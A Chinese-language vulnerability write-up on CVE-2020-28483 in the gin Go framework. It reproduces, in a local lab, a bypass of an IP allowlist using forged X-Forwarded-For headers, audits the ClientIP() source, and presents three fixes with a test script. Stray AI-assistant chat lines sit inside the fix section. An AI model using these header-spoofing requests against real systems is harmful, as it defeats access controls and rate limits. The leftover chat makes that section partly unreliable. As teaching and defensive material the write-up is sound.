gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头,攻击者只需添加一个 HTTP 头即可伪造任意客户端 IP,绕过基于 IP 的访问控制、限流、审计机制。本文从漏洞复现、原理分析、源码审计到修复方案进行完整讲解。
漏洞复现 CVE-2020-28483:Gin 框架 XFF 伪造 IP 绕过访问控制
gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头,当 gin 直接暴露在公网时,攻击者只需在请求中添加一个 HTTP 头,即可伪造任意客户端 IP,绕过一切基于 c.ClientIP() 的访问控制、限流、审计机制。
0x00 TL;DR
1
2
3
4
5
6
7
8
9
10
漏洞本质: 伪造 HTTP 头 → 欺骗 IP 识别 → 绕过访问控制
影响版本: gin 全版本(修复于 1.7.0)
利用难度: ★☆☆☆☆
危害等级: CVSS 3.1 → 7.1 HIGH
前置条件: gin 直接暴露公网 + 用 ClientIP() 做安全决策
修复方案:
方案1:升级 >= 1.7.0 + 配置 TrustedProxies(生产推荐)
方案2:禁用 ForwardedByClientIP(完全不信任 XFF)
方案3:不依赖 ClientIP(),自行解析 TCP 地址
0x01 环境搭建
Step 1: 初始化项目
1
2
3
mkdir cve-2020-28483
cd cve-2020-28483
go mod init cve-2020-28483
Step 2: 添加依赖
1
go get github.com/gin-gonic/gin@v1.6.3
Step 3: 验证 go.mod
1
2
3
4
5
module cve-2020-28483
go 1.25.0
require github.com/gin-gonic/gin v1.6.3
Step 4: 创建 main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main
import (
"net/http"
"github.com/gin-gonic/gin"
)
func main () {
r := gin . Default ()
r . GET ( "/admin" , func ( ctx * gin . Context ) {
clientIP := ctx . ClientIP ()
if clientIP == "127.0.0.1" {
ctx . JSON ( http . StatusOK , gin . H {
"message" : "Welcome, tructed admin!" ,
"client_ip" : clientIP ,
"secret" : "FLAG{CVE-2020-28483}" ,
})
} else {
ctx . JSON ( http . StatusForbidden , gin . H {
"message" : "Access Denied" ,
"client_ip" : clientIP ,
})
}
})
r . GET ( "/whoami" , func ( ctx * gin . Context ) {
ctx . JSON ( http . StatusOK , gin . H {
"your_ip" : ctx . ClientIP (),
"xff" : ctx . GetHeader ( "X-Forwarded-For" ),
"remote" : ctx . Request . RemoteAddr ,
})
})
r . Run ( ":8080" )
}
Step 5: 启动服务
1
2
go mod tidy
go run main.go
1
2
3
[GIN-debug] GET /admin
[GIN-debug] GET /whoami
[GIN-debug] Listening and serving HTTP on :8080
0x02 漏洞复现
正常请求 — 被拒绝
1
curl -s http://localhost:8080/admin | python3 -m json.tool
本地直连识别为 ::1(IPv6 localhost),不在白名单内,被拒绝。
伪造 X-Forwarded-For — 绕过白名单
1
2
curl -s http://localhost:8080/admin \
-H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
一个 HTTP 头,白名单消失。
用 /whoami 看清楚发生了什么
不带伪造头
1
curl -s http://localhost:8080/whoami | python3 -m json.tool
带伪造头
1
2
curl -s http://localhost:8080/whoami \
-H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
关键对比 :
remote = TCP 层真实地址 [::1]:50174(OS 保证,无法伪造)your_ip = gin 读 HTTP 头得到的 8.8.8.8(可随意伪造)2.4 多级 IP 链伪造
1
2
curl -s http://localhost:8080/admin \
-H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1" | python3 -m json.tool
gin 取 XFF 的第一个值 127.0.0.1,成功伪造为白名单内的 IP。
0x03 原理分析
3.1 X-Forwarded-For 是什么?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
【正常场景 — 有代理保护】
你的浏览器 (真实IP: 1.2.3.4)
|
v
Nginx 反向代理
| 追加: X-Forwarded-For: 1.2.3.4
v
Gin 后端应用
| ctx.ClientIP() 读 XFF → 1.2.3.4 [OK] 正确
【漏洞场景 — gin 直接暴露公网】
攻击者 (真实IP: 5.6.7.8)
| 自己写: X-Forwarded-For: 127.0.0.1
v
Gin 后端应用 (无代理拦截)
| ctx.ClientIP() 读 XFF → 127.0.0.1 [FAIL] 被骗了
XFF 是 HTTP 头,HTTP 头是攻击者自己写的 ,没有任何机制保证它的真实性。只有当你信任的代理帮你写这个头时,它才可信。
3.2 受影响的真实场景
1
2
3
4
5
6
7
8
9
10
11
你的应用用 ctx.ClientIP() 做了以下任何一件事?
┌─────────────────────────────────────────┐
│ IP 白名单 / 管理后台访问控制 │ <- 可被绕过
│ 基于 IP 的限流 / 防爆破 │ <- 可被绕过
│ 安全审计日志 / 溯源记录 │ <- 可被污染
│ GeoIP 地理位置限制 │ <- 可被绕过
│ 风控系统的 IP 信誉评分 │ <- 可被绕过
└─────────────────────────────────────────┘
|
全部可以用一个 HTTP 头绕过
3.3 gin v1.6.3 的 ClientIP() 逻辑
来源: https://github.com/gin-gonic/gin/pull/2474/changes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// [VULN] gin v1.6.3 — context.go L731-750
// Use X-forwarded-For before X-Real-Ip as nginx uses X-Real-IP with the proxy's IP.
func ( c * Context ) ClientIP () string {
if c . engine . ForwardedByClientIP {
// Line 733: 读取 X-Forwarded-For 头
clientIP := c . requestHeader ( "X-Forwarded-For" )
// Line 734: 按逗号分割,取第一个值
clientIP = strings . TrimSpace ( strings . Split ( clientIP , "," )[ 0 ])
// Line 735: 如果非空,直接返回 <- [VULN] 零验证
if clientIP != "" {
return clientIP // <- 攻击者写什么就返回什么
}
// Line 736: fallback 到 X-Real-Ip
clientIP = strings . TrimSpace ( c . requestHeader ( "X-Real-Ip" ))
// Line 738: 同样直接返回
if clientIP != "" {
return clientIP // <- 同样可伪造
}
}
// Line 743: 检查 AppEngine(Google App Engine)
if c . engine . AppEngine {
if addr := c . requestHeader ( "X-Appengine-Remote-Addr" ); addr != "" {
return addr
}
}
// Line 749: 最后才读真实 TCP 地址
if ip , _ , err := net . SplitHostPort (
strings . TrimSpace ( c . Request . RemoteAddr )); err == nil {
return ip
}
// Line 750: 兜底
return c . Request . RemoteAddr
}
执行流程图解 :
1
2
3
4
5
6
7
8
9
10
11
12
13
请求进来: X-Forwarded-For: 8.8.8.8
Line 732: ForwardedByClientIP == true? (默认 true)
|
Line 733: 读 X-Forwarded-For 头 -> "8.8.8.8"
|
Line 734: Split(",")[0] -> "8.8.8.8"
|
Line 735: clientIP != "" ? 是
|
Line 739: return clientIP -> "8.8.8.8" <- 没有任何来源验证
|
ctx.ClientIP() = "8.8.8.8" <- 直接返回给应用
3.4 漏洞的本质
1
2
3
4
5
6
7
8
9
10
11
gin v1.6.3 的信任链:
应用层 HTTP 头 (XFF) <- Line 733
|
直接信任 <- [FAIL] 这是漏洞根源
|
ctx.ClientIP() 返回值 <- Line 739
|
用于安全决策(IP 白名单、限流等)
|
被绕过
正确的信任链应该是 :
1
2
3
4
5
6
7
8
9
10
11
TCP 层真实 IP (RemoteAddr) <- Line 749 不可伪造
|
这是代理吗?
├─ 是可信代理 -> 信任 XFF 头 (Line 733)
└─ 否 -> 忽略 XFF,用 RemoteAddr (Line 749)
|
ctx.ClientIP() 返回值
|
用于安全决策
|
安全 [OK]
0x04 源码审计
完整源码流程追踪
从实际请求开始,逐行追踪源码执行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
HTTP 请求
|
v
Gin Router 匹配路由
|
v
Handler 执行 : ctx . ClientIP () <- context . go L731
|
+---> Line 732 : if c . engine . ForwardedByClientIP {
| |
| +---> Line 733 : clientIP : = c . requestHeader ( "X-Forwarded-For" )
| | |
| | | 调用 requestHeader () 方法
| | v
| | func ( c * Context ) requestHeader ( key string ) string {
| | return c . Request . Header . Get ( key )
| | }
| | |
| | +---> 返回 HTTP 头值(攻击者控制)
| |
| +---> Line 734 : strings . Split ( clientIP , "," )[ 0 ]
| | |
| | | 按逗号分割,取第一个值
| | | "127.0.0.1, 10.0.0.1" -> "127.0.0.1"
| |
| +---> Line 735 : if clientIP != "" {
| | |
| | +---> Line 739 : return clientIP <- [ VULN ]
| |
| +---> ( 如果 XFF 为空,继续 )
| |
| +---> Line 736 : clientIP : = c . requestHeader ( "X-Real-Ip" )
| |
| +---> Line 738 : if clientIP != "" {
| | +---> Line 739 : return clientIP <- [ VULN ]
|
+---> Line 743 : if c . engine . AppEngine {
| |
| +---> Line 744 : if addr : = c . requestHeader ( "X-Appengine-Remote-Addr" ); addr != "" {
| | +---> Line 745 : return addr <- [ VULN ]
|
+---> Line 749 : if ip , _ , err : = net . SplitHostPort (
| | strings . TrimSpace ( c . Request . RemoteAddr )); err == nil {
| | |
| | | 解析 TCP RemoteAddr
| | | "[::1]:51052" -> "::1"
| | |
| | +---> Line 750 : return ip <- [ OK ] 真实 IP
|
+---> Line 752 : return c . Request . RemoteAddr <- 兜底
关键变量分析
c.engine.ForwardedByClientIP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// engine.go 中的定义
type Engine struct {
// ...
ForwardedByClientIP bool // 默认值是什么?
// ...
}
// 初始化代码(engine.go)
func New () * Engine {
engine := & Engine {
// ...
ForwardedByClientIP : true , // <- 默认开启!
// ...
}
return engine
}
问题 :即使你没有显式配置,ForwardedByClientIP 也默认为 true,导致所有请求都会尝试读 XFF。
1
2
3
4
// context.go 中的实现
func ( c * Context ) requestHeader ( key string ) string {
return c . Request . Header . Get ( key )
}
这个方法做了什么 :
直接调用 http.Request.Header.Get(key) 返回 HTTP 头的值 零验证,零过滤 攻击者可以设置任意值 :
1
2
3
4
curl http://target:8080/admin \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-Ip: 192.168.1.1" \
-H "X-Appengine-Remote-Addr: 10.0.0.1"
gin 会按优先级依次尝试,取第一个非空的值。
strings.Split() 的陷阱
1
2
// Line 734 的操作
clientIP := strings . Split ( clientIP , "," )[ 0 ]
这行代码的问题 :
1
2
3
4
5
6
7
8
9
10
11
输入: "127.0.0.1, 10.0.0.1, 172.16.0.1"
strings.Split(",") 结果:
[0] = "127.0.0.1"
[1] = " 10.0.0.1" <- 注意前面有空格
[2] = " 172.16.0.1"
[0] 被返回: "127.0.0.1"
Line 734 之后有 TrimSpace,但只作用于最终结果
实际上 "127.0.0.1" 已经被取出来了
攻击者可以利用这一点 :
1
2
3
4
# 多级链伪造
curl http://target:8080/admin \
-H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1"
# gin 取第一个 "127.0.0.1" -> 成功伪造
Request.RemoteAddr 的真实性
1
2
3
4
5
// Line 749 的操作
if ip , _ , err := net . SplitHostPort (
strings . TrimSpace ( c . Request . RemoteAddr )); err == nil {
return ip
}
RemoteAddr 来自哪里 :
1
2
3
4
5
6
7
8
9
10
11
12
HTTP 服务器接收连接时:
1. TCP 三次握手完成
2. OS 内核记录连接的源 IP 和源端口
3. Go 的 net 包读取这个信息
4. 存储在 http.Request.RemoteAddr 中
示例值: "[::1]:51052"
| | |
| | +-- 源端口(攻击者无法控制)
| +--------- 源 IP(来自 TCP 层,无法伪造)
+-------------- IPv6 格式
为什么无法伪造 :
攻击者无法改变自己的源 IP(除非控制网络基础设施) 即使攻击者尝试伪造源 IP,操作系统会验证 TCP 三次握手 伪造的包会被丢弃,连接无法建立 漏洞修复对比(v1.7.0+)
来源: https://github.com/gin-gonic/gin/pull/2474/changes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// ClientIP implements a best effort algorithm to return the real client IP, it parses
// X-Real-IP and X-Forwarded-For in order to work properly with reverse-proxies such us: nginx or haproxy.
// Use X-Forwarded-For before X-Real-Ip as nginx uses X-Real-Ip with the proxy's IP.
func ( c * Context ) ClientIP () string {
if c . engine . ForwardedByClientIP && c . engine . RemoteIPHeaders != nil {
for _ , header := range c . engine . RemoteIPHeaders {
ipChain := filterIPsFromUntrustedProxies ( c . requestHeader ( header ), c . Request , c . engine )
if len ( ipChain ) > 0 {
return ipChain [ 0 ]
}
}
}
if c . engine . AppEngine {
if addr := c . requestHeader ( "X-Appengine-Remote-Addr" ); addr != "" {
return addr
}
}
ip , _ := getTransportPeerIPForRequest ( c . Request )
return ip
}
func filterIPsFromUntrustedProxies ( XForwardedForHeader string , req * http . Request , e * Engine ) [] string {
var items , out [] string
if XForwardedForHeader != "" {
items = strings . Split ( XForwardedForHeader , "," )
} else {
return [] string {}
}
if peerIP , err := getTransportPeerIPForRequest ( req ); err == nil {
items = append ( items , peerIP )
}
for i := len ( items ) - 1 ; i >= 0 ; i -- {
item := strings . TrimSpace ( items [ i ])
ip := net . ParseIP ( item )
if ip == nil {
return out
}
out = prependString ( ip . String (), out )
if ! isTrustedProxy ( ip , e ) {
return out
}
// out = prependString(ip.String(), out)
}
return out
}
func isTrustedProxy ( ip net . IP , e * Engine ) bool {
for _ , trustedProxy := range e . TrustedProxies {
if _ , ipnet , err := net . ParseCIDR ( trustedProxy ); err == nil {
if ipnet . Contains ( ip ) {
return true
}
continue
}
if proxyIP := net . ParseIP ( trustedProxy ); proxyIP != nil {
if proxyIP . Equal ( ip ) {
return true
}
continue
}
if addrs , err := e . lookupHost ( trustedProxy ); err == nil {
for _ , proxyAddr := range addrs {
proxyIP := net . ParseIP ( proxyAddr )
if proxyIP == nil {
continue
}
if proxyIP . Equal ( ip ) {
return true
}
}
}
}
return false
}
func prependString ( ip string , ipList [] string ) [] string {
ipList = append ( ipList , "" )
copy ( ipList [ 1 :], ipList )
ipList [ 0 ] = string ( ip )
return ipList
}
func getTransportPeerIPForRequest ( req * http . Request ) ( string , error ) {
var err error
if ip , _ , err := net . SplitHostPort ( strings . TrimSpace ( req . RemoteAddr )); err == nil {
return ip , nil
}
return "" , err
}
修复的关键差异 :
1
2
3
4
5
6
7
8
9
10
v1.6.3 (漏洞版):
XFF 头 -> 直接取第一个值 -> 返回
完全没有验证这个请求是否来自可信代理
v1.7.0 (修复版):
XFF 头 -> 从右往左遍历 -> 检查每个 IP 是否在 TrustedProxies 中
-> 遇到不可信 IP 停止 -> 返回停止点之后的 IP
本质:从 TCP 层已知的真实对端 IP 往左回溯,
只要链路中出现不可信节点就停,不再往左信任
修复后的效果 :
1
2
3
4
5
6
7
8
9
10
11
场景:gin 直接暴露公网,TrustedProxies = nil
攻击者请��: X-Forwarded-For: 127.0.0.1
items = ["127.0.0.1", "5.6.7.8(真实TCP)"]
从右往左遍历:
i=1: "5.6.7.8" -> isTrustedProxy("5.6.7.8") -> false (TrustedProxies 为空)
-> 停止,返回 ["5.6.7.8"]
ClientIP() = "5.6.7.8" <- 返回真实 IP,攻击失败
源码对比总结
版本 关键行 逻辑 安全性 v1.6.3 L733-739 直接读 XFF,无验证 [FAIL] v1.7.0+ filterIPsFromUntrustedProxies 从 TCP IP 往左回溯,遇不可信 IP 停止 [OK]
0x05 修复方案
你说得对,我需要查证 gin v1.7.0 的实际 API。让我重新编写 0x05 修复方案。
让我查找 Engine 结构体的定义:
让我查找 ForwardedByClientIP 的定义:
现在我明白了。这份源码中有 TrustedProxies 字段,说明这已经是修复版本。让我重新编写 0x05,基于实际的修复方式:
0x05 修复方案
5.1 方案 1:升级 gin + 配置 TrustedProxies(生产推荐)
Step 1: 升级 gin 到修复版本
1
2
3
4
5
# 查看当前版本
go list -m github.com/gin-gonic/gin
# 升级到最新版本(包含修复)
go get -u github.com/gin-gonic/gin
Step 2: 在 main.go 中配置 TrustedProxies
修复版本的 gin 在 Engine 结构体中增加了 TrustedProxies 字段,需要在初始化时配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main
import (
"net/http"
"github.com/gin-gonic/gin"
)
func main () {
r := gin . Default ()
// 配置可信代理列表
// 只有来自这些 IP/网段的代理转发的 XFF 才被采信
r . TrustedProxies = [] string {
"10.0.0.0/8" , // 内网 A 类
"172.16.0.0/12" , // 内网 B 类
"192.168.0.0/16" , // 内网 C 类
"127.0.0.1" , // 本地代理
}
r . GET ( "/admin" , func ( ctx * gin . Context ) {
clientIP := ctx . ClientIP ()
if clientIP == "127.0.0.1" {
ctx . JSON ( http . StatusOK , gin . H {
"message" : "Welcome, tructed admin!" ,
"client_ip" : clientIP ,
"secret" : "FLAG{CVE-2020-28483}" ,
})
} else {
ctx . JSON ( http . StatusForbidden , gin . H {
"message" : "Access Denied" ,
"client_ip" : clientIP ,
})
}
})
r . GET ( "/whoami" , func ( ctx * gin . Context ) {
ctx . JSON ( http . StatusOK , gin . H {
"your_ip" : ctx . ClientIP (),
"xff" : ctx . GetHeader ( "X-Forwarded-For" ),
"remote" : ctx . Request . RemoteAddr ,
})
})
r . Run ( ":8080" )
}
Step 3: 更新依赖
1
2
go mod tidy
go run main.go
Step 4: 验证修复效果
1
2
3
# 升级后,攻击失败
curl -s http://localhost:8080/admin \
-H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
攻击者伪造的 XFF 被忽略,返回真实 TCP IP ::1
5.2 方案 2:禁用 ForwardedByClientIP(完全不信任 XFF)
适用场景 :
gin 直接绑定 0.0.0.0:8080,无任何代理 不需要识别客户端真实 IP 修改代码 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main
import (
"net/http"
"github.com/gin-gonic/gin"
)
func main () {
r := gin . Default ()
// 关键:禁用 ForwardedByClientIP
// 此时 ctx.ClientIP() 将直接返回 TCP RemoteAddr,忽略所有 XFF 相关头
r . ForwardedByClientIP = false
r . GET ( "/admin" , func ( ctx * gin . Context ) {
clientIP := ctx . ClientIP ()
if clientIP == "127.0.0.1" {
ctx . JSON ( http . StatusOK , gin . H {
"message" : "Welcome, tructed admin!" ,
"client_ip" : clientIP ,
"secret" : "FLAG{CVE-2020-28483}" ,
})
} else {
ctx . JSON ( http . StatusForbidden , gin . H {
"message" : "Access Denied" ,
"client_ip" : clientIP ,
})
}
})
r . GET ( "/whoami" , func ( ctx * gin . Context ) {
ctx . JSON ( http . StatusOK , gin . H {
"your_ip" : ctx . ClientIP (),
"xff" : ctx . GetHeader ( "X-Forwarded-For" ),
"remote" : ctx . Request . RemoteAddr ,
})
})
r . Run ( ":8080" )
}
验证修复效果 :
1
2
3
# 即使伪造 XFF,也被忽略
curl -s http://localhost:8080/whoami \
-H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
your_ip 返回真实 TCP IP,XFF 头被完全忽略
5.3 方案 3:不依赖 ClientIP(),自行解析 TCP 地址
适用场景 :
需要完全控制 IP 识别逻辑 不想依赖 gin 的 ClientIP() 方法 创建工具函数 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main
import (
"net"
"strings"
"github.com/gin-gonic/gin"
)
// getRealIP 从 TCP 层获取真实 IP,无法伪造
func getRealIP ( c * gin . Context ) string {
// 从 RemoteAddr 直接解析(最安全)
ip , _ , err := net . SplitHostPort ( strings . TrimSpace ( c . Request . RemoteAddr ))
if err == nil {
return ip
}
// 兜底,直接返回 RemoteAddr
return c . Request . RemoteAddr
}
在 Handler 中使用 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func main () {
r := gin . Default ()
r . GET ( "/admin" , func ( ctx * gin . Context ) {
// 使用自定义函数获取真实 IP
clientIP := getRealIP ( ctx )
if clientIP == "127.0.0.1" {
ctx . JSON ( http . StatusOK , gin . H {
"message" : "Welcome, tructed admin!" ,
"client_ip" : clientIP ,
"secret" : "FLAG{CVE-2020-28483}" ,
})
} else {
ctx . JSON ( http . StatusForbidden , gin . H {
"message" : "Access Denied" ,
"client_ip" : clientIP ,
})
}
})
r . GET ( "/whoami" , func ( ctx * gin . Context ) {
ctx . JSON ( http . StatusOK , gin . H {
"your_ip" : getRealIP ( ctx ),
"xff" : ctx . GetHeader ( "X-Forwarded-For" ),
"remote" : ctx . Request . RemoteAddr ,
})
})
r . Run ( ":8080" )
}
验证修复效果 :
1
2
curl -s http://localhost:8080/whoami \
-H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
即使伪造 XFF,your_ip 仍然返回真实 TCP IP
5.4 三种方案对比
方案 升级成本 代理支持 安全性 适用场景 A: 升级 + TrustedProxies 中 支持 [OK] 有代理的生产环境 B: ForwardedByClientIP = false 低 不支持 [OK] gin 直接暴露公网 C: 自定义 getRealIP() 高 自定义 [OK] 需要完全控制逻辑
5.5 方案选择指南
1
2
3
4
5
6
7
8
9
10
11
12
13
你的部署架构是什么?
┌─ 有反向代理(Nginx/LB)
│ └─> 使用方案 A
│ r.TrustedProxies = []string{"代理IP或网段"}
│
├─ gin 直接暴露公网,无代理
│ └─> 使用方案 B
│ r.ForwardedByClientIP = false
│
└─ 需要自定义 IP 识别逻辑
└─> 使用方案 C
自定义 getRealIP() 函数
5.6 验证修复是否生效
测试脚本 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
echo "[*] 测试修复效果"
echo ""
echo "[1] 正常请求(无伪造)"
curl -s http://localhost:8080/whoami | python3 -m json.tool
echo ""
echo "[2] 伪造 X-Forwarded-For: 8.8.8.8"
curl -s http://localhost:8080/whoami \
-H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
echo ""
echo "[3] 伪造多级链"
curl -s http://localhost:8080/whoami \
-H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1" | python3 -m json.tool
echo ""
echo "[4] 尝试访问 /admin(应该被拒绝)"
curl -s http://localhost:8080/admin \
-H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
echo ""
echo "[*] 如果所有伪造都被忽略,修复成功"
预期输出 (修复后):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[*] 测试修复效果
[1] 正常请求(无伪造)
{
"remote": "[::1]:51052",
"xff": "",
"your_ip": "::1"
}
[2] 伪造 X-Forwarded-For: 8.8.8.8
{
"remote": "[::1]:51052",
"xff": "8.8.8.8",
"your_ip": "::1"
}
[3] 伪造多级链
{
"remote": "[::1]:51052",
"xff": "127.0.0.1, 10.0.0.1, 172.16.0.1",
"your_ip": "::1"
}
[4] 尝试访问 /admin(应该被拒绝)
{
"client_ip": "::1",
"message": "Access Denied"
}
[*] 如果所有伪造都被忽略,修复成功
所有伪造的 XFF 都被忽略,your_ip 始终返回真实 TCP IP ::1,修复成功
0x06 参考资料